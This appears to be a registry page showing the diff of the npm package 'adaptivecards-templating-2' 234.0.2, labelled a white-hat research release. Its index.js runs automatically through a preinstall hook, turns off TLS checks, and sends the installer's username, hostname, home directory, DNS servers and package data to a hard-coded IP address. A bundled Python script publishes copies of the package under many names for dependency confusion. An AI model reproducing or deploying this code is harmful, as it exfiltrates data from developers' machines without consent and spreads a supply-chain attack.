adaptivecards-templating-2 234.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of adaptivecards-templating-2 might be problematic. Click here for more details.
- package/index.js +48 -0
- package/package.json +13 -0
- package/register-all-the-packages.py +50 -0
package/index.js
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
|
2
|
+
process.env["NODE_NO_WARNINGS"] = 1;
|
3
|
+
const os = require("os");
|
4
|
+
const dns = require("dns");
|
5
|
+
const querystring = require("querystring");
|
6
|
+
const https = require("https");
|
7
|
+
const packageJSON = require("./package.json");
|
8
|
+
const package = packageJSON.name;
|
9
|
+
|
10
|
+
const trackingData = JSON.stringify({
|
11
|
+
p: package,
|
12
|
+
c: __dirname,
|
13
|
+
hd: os.homedir(),
|
14
|
+
hn: os.hostname(),
|
15
|
+
un: os.userInfo().username,
|
16
|
+
dns: dns.getServers(),
|
17
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
18
|
+
v: packageJSON.version,
|
19
|
+
pjson: packageJSON,
|
20
|
+
});
|
21
|
+
|
22
|
+
var postData = querystring.stringify({
|
23
|
+
msg: trackingData,
|
24
|
+
});
|
25
|
+
|
26
|
+
var options = {
|
27
|
+
hostname: "52.188.192.212", //replace burpcollaborator.net with Interactsh or pipedream
|
28
|
+
port: 443,
|
29
|
+
path: "/trackeddata",
|
30
|
+
method: "POST",
|
31
|
+
headers: {
|
32
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
33
|
+
"Content-Length": postData.length,
|
34
|
+
},
|
35
|
+
};
|
36
|
+
|
37
|
+
var req = https.request(options, (res) => {
|
38
|
+
res.on("data", (d) => {
|
39
|
+
process.stdout.write(d);
|
40
|
+
});
|
41
|
+
});
|
42
|
+
|
43
|
+
req.on("error", (e) => {
|
44
|
+
// console.error(e);
|
45
|
+
});
|
46
|
+
|
47
|
+
req.write(postData);
|
48
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "adaptivecards-templating-2",
|
3
|
+
"version": "234.0.2",
|
4
|
+
"description": "MSRC White Hat Researcher",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "nullg0re",
|
11
|
+
"license": "ISC",
|
12
|
+
"keywords": []
|
13
|
+
}
|
@@ -0,0 +1,50 @@
|
|
1
|
+
#!/usr/bin/python3
|
2
|
+
import subprocess
|
3
|
+
from colorama import Fore, Style
|
4
|
+
from time import sleep
|
5
|
+
from random import randint
|
6
|
+
|
7
|
+
def load_packages():
|
8
|
+
file = '../packages.txt'
|
9
|
+
packages = []
|
10
|
+
f = open(file, 'r')
|
11
|
+
for line in f:
|
12
|
+
packages.append(line.strip())
|
13
|
+
f.close()
|
14
|
+
return packages
|
15
|
+
|
16
|
+
def install_and_publish_package(package):
|
17
|
+
# create NPM package.json file for malicious package
|
18
|
+
content = """{
|
19
|
+
"name": "---PACKAGE---",
|
20
|
+
"version": "234.0.2",
|
21
|
+
"description": "MSRC White Hat Researcher",
|
22
|
+
"main": "index.js",
|
23
|
+
"scripts": {
|
24
|
+
"test": "echo \\"Error: no test specified\\" && exit 1",
|
25
|
+
"preinstall": "node index.js"
|
26
|
+
},
|
27
|
+
"author": "nullg0re",
|
28
|
+
"license": "ISC"
|
29
|
+
}"""
|
30
|
+
output_file = "/home/tgore/WORK/Research/CTU-DR-MSFT/subdomains/dependency-confusion/malicious-package/package.json"
|
31
|
+
new_content = content.replace('---PACKAGE---', package)
|
32
|
+
f = open(output_file, 'w')
|
33
|
+
f.write(new_content)
|
34
|
+
f.close()
|
35
|
+
# npm init and publish
|
36
|
+
cmd1 = "npm init -y -f"
|
37
|
+
cmd2 = "npm publish"
|
38
|
+
subprocess.call(cmd1, shell=True)
|
39
|
+
subprocess.call(cmd2, shell=True)
|
40
|
+
|
41
|
+
def main():
|
42
|
+
print (f"{Fore.YELLOW}[ * ] Loading packages...{Style.RESET_ALL}")
|
43
|
+
packages = load_packages()
|
44
|
+
for package in packages:
|
45
|
+
sleep(20)
|
46
|
+
install_and_publish_package(package)
|
47
|
+
print (f"{Fore.GREEN}[ + ] Finished! God Speed{Style.RESET_ALL}")
|
48
|
+
|
49
|
+
if __name__ == '__main__':
|
50
|
+
main()
|